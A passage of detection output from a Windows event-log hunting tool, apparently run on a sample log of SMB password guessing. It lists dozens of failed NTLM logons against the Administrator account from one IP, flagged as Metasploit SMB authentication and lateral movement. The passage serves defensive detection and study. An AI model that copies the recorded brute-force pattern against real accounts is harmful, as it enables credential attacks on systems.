Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OcjMGbrHQHxIhSSh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.388 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LDYPTYHHKAe39GjM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.481 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2PF3H6LE6MqFjVWx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.481 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.526 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LLTReOoxRa7UAhT3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.526 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jqtqwAPBiBfaHNpv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jmisFXzDpOILUhIX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.619 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W5UHqVVAYK08FWit : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.737 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PKHLHN59FDnD92Sm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.785 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.829 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ohAKPRGvg1JCQ91y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.829 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pxdcrng84HEG39nJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.879 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.926 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lFGXFxHPbxDTGmiN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.926 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tyFnafBgzoLQWTQR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:21.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2IjLjxkd2pX4moFy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.024 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9vqYC4KotCYTcQv5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.085 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qtHcYFIOHglQFb60 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmiHIQrpsAVRJtdb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.192 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4TdkChjMAviJ6jr8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.241 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.283 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sPIGU1rBk0F5cG9P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.283 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8ScynGWKK3CtoUsi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.329 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0E4JAuxC8MuuGfnw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.373 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4aDJtqsUWKyuDqBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.420 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yCFrEHUgqCtKPybS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.469 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ftrEBfaLGbboV8D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.508 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: thle3slH6gZYllyQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PcEnabS7oj98WI0e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.592 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EBqGp9CD4A9PsyLk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iil8dQlzMCkKRNUb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.735 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nDBqxF9bmNNjNdsm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.735 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QJNBRV3BRVEN8hmG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.795 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.837 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OGl1Tbdw7PDvVsRR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.837 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uspHTc4JwnjjZQti : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.930 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Exq3nfy1LeFOPcA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.930 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vdFC4g7vsLO0zOzL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:22.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.019 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HpdCohLheoqQ6DXw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.019 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.062 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xHS3sclMwgHuH8rE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.062 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.100 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sNSheImuQwgOEH5g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.100 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.142 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GX5y374mlYYXbAB2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.142 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eaFRL6q9KQY5bFHZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.230 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MrkEyJmfLiSrvQGs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.230 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fd1vJiJa3pdjqdQV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.261 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RVrZl3LOIa7VLhT7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TKR8KbyQkwRX1qTE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GY22XuDxbE5lvEra : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4AntiX3j9HLHcOOq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.441 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.501 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XIvMbod41WeNADy5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.501 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0UL4lb3CCrv7YfGQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.538 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OyRktDjPqFyrdSTQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:23.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 